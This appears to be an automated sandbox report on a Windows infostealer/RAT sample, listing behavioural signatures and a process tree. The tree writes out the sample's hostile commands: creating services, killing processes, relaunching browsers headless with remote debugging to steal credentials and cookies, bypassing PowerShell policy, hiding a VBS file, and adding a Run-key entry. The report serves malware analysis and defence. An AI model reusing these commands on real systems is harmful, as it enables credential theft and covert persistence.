Overview

overview

10

Static

static

10

2026-07-04...at.exe

windows10-2004-x64

9

2026-07-04...at.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/07/2026, 02:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-04_00b72165872e622a4a95fadcabf36d1e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  • Size 40.0MB
  • Sample260704-daxblaav8v
  • SHA256 d819aee08f623e30d656550367ad6a078170140ae9c539b02963af32774d91c4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
adwarecredential_accessdefense_evasiondiscoveryexecutionpersistenceransomwarespywarestealerupx

Malware Config

Signatures

  • UPX dump on OEP (original entry point) 12 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Uses browser remote debugging 2 TTPs 12 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 7 IoCs
    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • UPX packed file 12 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Kills process with taskkill 8 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 17 IoCs
  • Modifies registry class 38 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 55 IoCs
  • Suspicious use of SendNotifyMessage 42 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-04_00b72165872e622a4a95fadcabf36d1e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-04_00b72165872e622a4a95fadcabf36d1e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Users\Admin\AppData\Local\Temp\2026-07-04_00b72165872e622a4a95fadcabf36d1e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-04_00b72165872e622a4a95fadcabf36d1e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1388
      • C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_1388.exe
        C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_1388.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4928
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Program Files directory
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2728
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            wmic csproduct get uuid
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:6876
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            wmic baseboard get serialnumber
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:7120
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            wmic diskdrive where index=0 get serialnumber
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:3168
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            wmic memorychip get SerialNumber
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:2112
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist.exe
            5⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            PID:7448
          • C:\Windows\SysWOW64\sc.exe
            sc create LTService binPath= "C:\Windows\AmanUpdateLogLT.exe"
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:7528
          • C:\Windows\SysWOW64\sc.exe
            sc config LTService start= AUTO
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:3196
          • C:\Windows\SysWOW64\net.exe
            net start LTService
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2812
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 start LTService
              6⤵
              • System Location Discovery: System Language Discovery
              PID:4820
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist /FI "imagename eq loadAman.exe"
            5⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            PID:6196
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /im loadAman.exe /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            PID:6288
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist /FI "imagename eq Aman.exe"
            5⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            PID:6356
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /im Aman.exe /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            PID:6536
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist /FI "imagename eq amanProxy.exe"
            5⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            PID:6848
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /im amanProxy.exe /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            PID:7124
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist /FI "imagename eq Update.exe"
            5⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            PID:2108
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /im Update.exe /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            PID:5992
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist /FI "imagename eq UpdateTemp.exe"
            5⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            PID:7188
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /im UpdateTemp.exe /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            PID:7332
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist /FI "imagename eq unInstall.exe"
            5⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            PID:7980
          • C:\Windows\SysWOW64\sc.exe
            sc create WTService binPath= "C:\Windows\AmanOnlineWT.exe"
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:8156
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /im unInstall.exe /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            PID:3668
          • C:\Windows\SysWOW64\sc.exe
            sc config WTService start= AUTO
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:7924
          • C:\Windows\SysWOW64\sc.exe
            sc qc TomPackage
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:8028
          • C:\Windows\SysWOW64\sc.exe
            sc qc TomPackage
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2824
          • C:\Windows\SysWOW64\net.exe
            net stop jidanlsp
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:7904
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop jidanlsp
              6⤵
              • System Location Discovery: System Language Discovery
              PID:8044
          • C:\Windows\SysWOW64\net.exe
            net start WTService
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:8080
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 start WTService
              6⤵
              • System Location Discovery: System Language Discovery
              PID:8184
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks
            5⤵
            • System Location Discovery: System Language Discovery
            PID:6828
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM chrome.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5572
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
        3⤵
        • Uses browser remote debugging
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2400
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff9c9ddc728,0x7ff9c9ddc734,0x7ff9c9ddc740
          4⤵
            PID:628
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1796,i,14354066797001878774,11380595327151817252,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1792 /prefetch:2
            4⤵
              PID:2844
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1796,i,14354066797001878774,11380595327151817252,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1832 /prefetch:11
              4⤵
              • System Time Discovery
              PID:5744
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1796,i,14354066797001878774,11380595327151817252,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:13
              4⤵
                PID:6648
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1796,i,14354066797001878774,11380595327151817252,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2836 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:5436
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1796,i,14354066797001878774,11380595327151817252,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2860 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:5516
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1796,i,14354066797001878774,11380595327151817252,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4056 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:5080
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1796,i,14354066797001878774,11380595327151817252,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4140 /prefetch:14
                4⤵
                  PID:7624
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1796,i,14354066797001878774,11380595327151817252,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4684 /prefetch:14
                  4⤵
                    PID:6428
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1796,i,14354066797001878774,11380595327151817252,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4800 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:6448
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1796,i,14354066797001878774,11380595327151817252,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:6456
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=1796,i,14354066797001878774,11380595327151817252,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:7308
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1796,i,14354066797001878774,11380595327151817252,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4800 /prefetch:14
                    4⤵
                      PID:7316
                  • C:\Windows\SYSTEM32\taskkill.exe
                    taskkill /F /IM msedge.exe
                    3⤵
                    • Kills process with taskkill
                    PID:7532
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
                    3⤵
                    • Uses browser remote debugging
                    • Drops file in Windows directory
                    • Enumerates system info in registry
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of WriteProcessMemory
                    PID:1304
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x250,0x254,0x258,0x24c,0x274,0x7ff9c937c188,0x7ff9c937c194,0x7ff9c937c1a0
                      4⤵
                        PID:5856
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2384,i,4131857030458177306,6324443565206989828,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2380 /prefetch:2
                        4⤵
                          PID:2468
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2384,i,4131857030458177306,6324443565206989828,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2740 /prefetch:11
                          4⤵
                          • System Time Discovery
                          PID:4516
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2384,i,4131857030458177306,6324443565206989828,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2968 /prefetch:13
                          4⤵
                            PID:4764
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2384,i,4131857030458177306,6324443565206989828,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:1
                            4⤵
                            • Uses browser remote debugging
                            PID:2588
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2384,i,4131857030458177306,6324443565206989828,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3280 /prefetch:1
                            4⤵
                            • Uses browser remote debugging
                            PID:3808
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2384,i,4131857030458177306,6324443565206989828,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3216 /prefetch:1
                            4⤵
                            • Uses browser remote debugging
                            PID:6512
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2384,i,4131857030458177306,6324443565206989828,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4208 /prefetch:9
                            4⤵
                            • Uses browser remote debugging
                            PID:7656
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2384,i,4131857030458177306,6324443565206989828,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4528 /prefetch:14
                            4⤵
                              PID:1824
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2384,i,4131857030458177306,6324443565206989828,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4740 /prefetch:14
                              4⤵
                                PID:3408
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2384,i,4131857030458177306,6324443565206989828,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4528 /prefetch:14
                                4⤵
                                  PID:7164
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\tmpqg3uhsbt.ps1
                                3⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:6728
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xtnfsfdPXu.vbs""
                                3⤵
                                • Hide Artifacts: Hidden Files and Directories
                                PID:5048
                                • C:\Windows\system32\attrib.exe
                                  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xtnfsfdPXu.vbs"
                                  4⤵
                                  • Views/modifies file attributes
                                  PID:452
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "xtnfsfdPXu" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\xtnfsfdPXu.vbs"" /f"
                                3⤵
                                  PID:3360
                                  • C:\Windows\system32\reg.exe
